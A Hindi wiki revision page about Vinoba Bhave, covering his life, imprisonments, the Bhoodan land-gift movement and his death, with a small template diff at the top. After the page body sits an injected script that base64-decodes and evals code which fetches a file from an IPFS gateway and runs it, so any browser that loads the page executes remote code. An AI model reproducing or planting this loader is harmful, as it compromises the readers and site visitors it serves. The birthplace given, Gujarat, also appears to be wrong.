विनोबा भावे: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "{{भारत गणराज्य}}" to "")
Line 23: Line 23:
}}
}}
==संबंधित लेख==
==संबंधित लेख==
{{भारत रत्‍न}}{{भारत रत्‍न2}}{{समाज सुधारक}}{{रेमन मैग्सेसे पुरस्कार}}{{स्वतन्त्रता सेनानी}}{{भारत गणराज्य}}
{{भारत रत्‍न}}{{भारत रत्‍न2}}{{समाज सुधारक}}{{रेमन मैग्सेसे पुरस्कार}}{{स्वतन्त्रता सेनानी}}
[[Category:भारत रत्न सम्मान]][[Category:समाज सुधारक]][[Category:प्रसिद्ध व्यक्तित्व]] [[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]]  
[[Category:भारत रत्न सम्मान]][[Category:समाज सुधारक]][[Category:प्रसिद्ध व्यक्तित्व]] [[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]]  
[[Category:स्वतन्त्रता सेनानी]]
[[Category:स्वतन्त्रता सेनानी]]

Revision as of 08:57, 10 July 2011

|250px|thumb|विनोबा भावे विनोबा भावे का जन्म 11 सितंबर, 1895 को गाहोदे (गुजरात), भारत में हुआ था। विनोबा भावे का मूल नाम विनायक नरहरि भावे था। विनोबा भावे महात्मा गांधी के आदरणीय अनुयायी, भारत के एक सर्वाधिक जाने-माने समाज सुधारक एवं 'भूदान यज्ञ' नामक आन्दोलन के संस्थापक थे।

तपस्वी रूप

एक कुलीन ब्राह्मण परिवार जन्मे विनोबा ने गांधी आश्रम में शामिल होने के लिए 1916 में हाई स्कूल की पढ़ाई बीच में ही छोड़ दी। गाँधीजी के उपदेशों ने भावे को भारतीय ग्रामीण जीवन के सुधार के लिए एक तपस्वी के रूप में जीवन व्यतीत करने के लिए प्रेरित किया।

जेल यात्रा

1920 और 1930 के दशक में भावे कई बार जेल गए और 1940 के दशक में ब्रिटिश शासन के ख़िलाफ़ अहिंसक आंदोलन का नेतृत्व करने के कारण पाँच साल के लिए जेल जाना पड़ा। उन्हें सम्मानपूर्वक आचार्य की उपाधि दी गई।

भूमि का दान

विनोबा भावे का भूदान आंदोलन का विचार 1951 में जन्मा। जब वह आन्ध्र प्रदेश के गाँवों में भ्रमण कर रहे थे, भूमिहीन अस्पृश्य लोगों या हरिजनों के एक समूह के लिए ज़मीन मुहैया कराने की अपील के जवाब में एक ज़मींदार ने उन्हें एक एकड़ ज़मीन देने का प्रस्ताव दिया। इसके बाद वह गाँव-गाँव घूमकर भूमिहीन लोगों के लिए भूमि का दान करने की अपील करने लगे और उन्होंने इस दान को गांधीजी के अहिंसा के सिद्धान्त से संबंधित कार्य बताया। भावे के अनुसार, यह भूमि सुधार कार्यक्रम हृदय परिवर्तन के तहत होना चाहिए न कि इस ज़मीन के बँटवारे से बड़े स्तर पर होने वाली कृषि के तार्किक कार्यक्रमों में अवरोध आएगा, लेकिन भावे ने घोषणा की कि वह हृदय के बँटवारे की तुलना में ज़मीन के बँतवारे को ज़्यादा पसंद करते हैं। हालांकि बाद में उन्होंने लोगों को 'ग्रामदान' के लिए प्रोत्साहित किया, जिसमें ग्रामीण लोग अपनी भूमि को एक साथ मिलाने के बाद उसे सहकारी प्रणाली के अंतर्गत पुनर्गठित करते।

मौन व्रत

1975 में पूरे वर्ष भर अपने अनुयायियों के राजनीतिक आंदोलनों में शामिल होने के मुद्दे पर भावे ने मौन व्रत रखा। 1979 के एक आमरण अनशन के परिणामस्वरूप सरकार ने समुचे भारत में गो-हत्या पर निषेध लगाने हेतु क़ानून पारित करने का आश्वासन दिया।

मौलिक कार्यक्रम

विनोबा भावे के मौलिक कार्यक्रम और जीवन के उनके दर्शन को एक लेखों की श्रृंखला में समझाया गया है, जिन्हें भूदान यज्ञ (1953) नामक एक पुस्तक में संगृहीत एवं प्रकाशित किया गया है।

मृत्यु

विनोबा भावे की मृत्यु 15 नवम्बर 1982, वर्धा महाराष्ट्र में हुई थी।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>